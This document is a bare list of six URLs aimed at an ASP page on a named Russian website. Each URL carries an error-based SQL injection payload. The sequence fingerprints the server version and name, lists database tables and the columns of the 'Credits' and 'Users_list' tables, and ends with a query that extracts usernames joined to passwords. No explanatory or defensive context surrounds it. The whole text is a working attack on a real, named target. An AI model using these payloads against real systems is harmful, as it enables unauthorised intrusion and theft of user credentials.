http://www.cotka.ru/BS/view.asp?nm=2465)+OR+1=@@version+--+&nr=162

http://www.cotka.ru/BS/view.asp?nm=2465)+OR+1=@@servername+--+&nr=162

http://www.cotka.ru/BS/view.asp?nm=2465)+or+1=(select+top+1+table_name+fr om+information_schema.tables+where+table_name+not+ in+('NastrSet','NastrPhones','NastrList','TV_Progr am','Users_contacts','Accessuars','accessuars_name ','Hard','AllBase','History_Archive','AllPhone','A rchive','Black_List','City','Instr','Constants','s essions','Credits','sessions_keys','Disp_Right','G lossary','TV_Picture','GuestBook','History','Jurna l','TV_Mistake','Jurnal_CFG','TV_Announce','Pictur es','Mailer','Statii','Mailer_Log','Mistakes','Mon ey','Sotovik_Err','Digital_Tech','Operators','Page rs','Phones_S','RestrictedPhones','TreeList','Rait ing_Model','Raiting_Model_List','Right_List','dtpr operties','Subject','OperatorsGSM','temp_archive', 'listcity','Users_list','Subject_Site','Nastr','Fa stOff','city_codes','TV_Announce_buf','ForbiddenPh ones','codes_city','tv_temp','TV_Kanal','Statii_Ru b','stoplist','Phones_from_IRR'))+--+&nr=162

http://www.cotka.ru/BS/view.asp?nm=2465)+or+1=(select+top+1+column_name+f rom+information_schema.columns+where+table_name='C redits'+and+column_name+not+in+('id','num_credit', 'Active','addr','Address','AddZagolText','algorith m','Alias_Rub','allphone','Announce_id','Announce_ Text','Answer','auid','Author','backuplsn','BegDat a','binary_message_body','bitlength','bitposint',' bitposleaf','brkrins','brkrinst','Cast_List','CD_D VD','cert','chk','City','city_cod','city_name','cl ass','CName','Cnt','colid','collationid','compid', 'contact_address','contact_backwww','contact_city' ,'contact_email','contact_family','contact_howname ','contact_icq','contact_name','contact_org','cont act_otche','contact_phone','contact_phone2','conta ct_phone2cod','contact_phonecod','contact_type','c ontact_www','contract','conversation_group_id','co nversation_handle','convgroup','Country','country_ cod','country_name','CPU','created','createlsn','c redit','Credit_Flag','crend','crerrors','crrows',' crschver','crstart','crtsnext','crtype','crypto',' CurDay','Data','dataspace','Date','Date_Add','Date _Last','dbid','defval','depid','depsubid','deriv', 'Description','dflt','dfltsch','diagid','diffbaseg uid','diffbaselsn','diffbaseseclsn','diffbasetime' ,'Disp','Disp_Flag','dlgerr','dlgid','dlgopened',' dlgtimer','docid','droplsn','DT','DTEnd','E_Mail', 'EMail','EMailAnswer','Empty','encrtype','enddlgse q','enqtime','enum','Err','Etalon'))+--+&nr=162

http://www.cotka.ru/BS/view.asp?nm=2465)+or+1=(select+top+1+column_name+f rom+information_schema.columns+where+table_name='U sers_list'+and+column_name+not+in+('user_id','user _active','username','user_password','user_session_ time','user_last_visit','user_email','Active','add r','Address','AddZagolText','algorithm','Alias_Rub ','allphone','Announce_id','Announce_Text','Answer ','auid','Author','backuplsn','BegData'))+--+&nr=162

http://www.cotka.ru/BS/view.asp?nm=2465)+or+1=(select+top+1+username%2B': '%2Buser_password+from+Users_list+where+username+n ot+in+'Guest')+--+&nr=162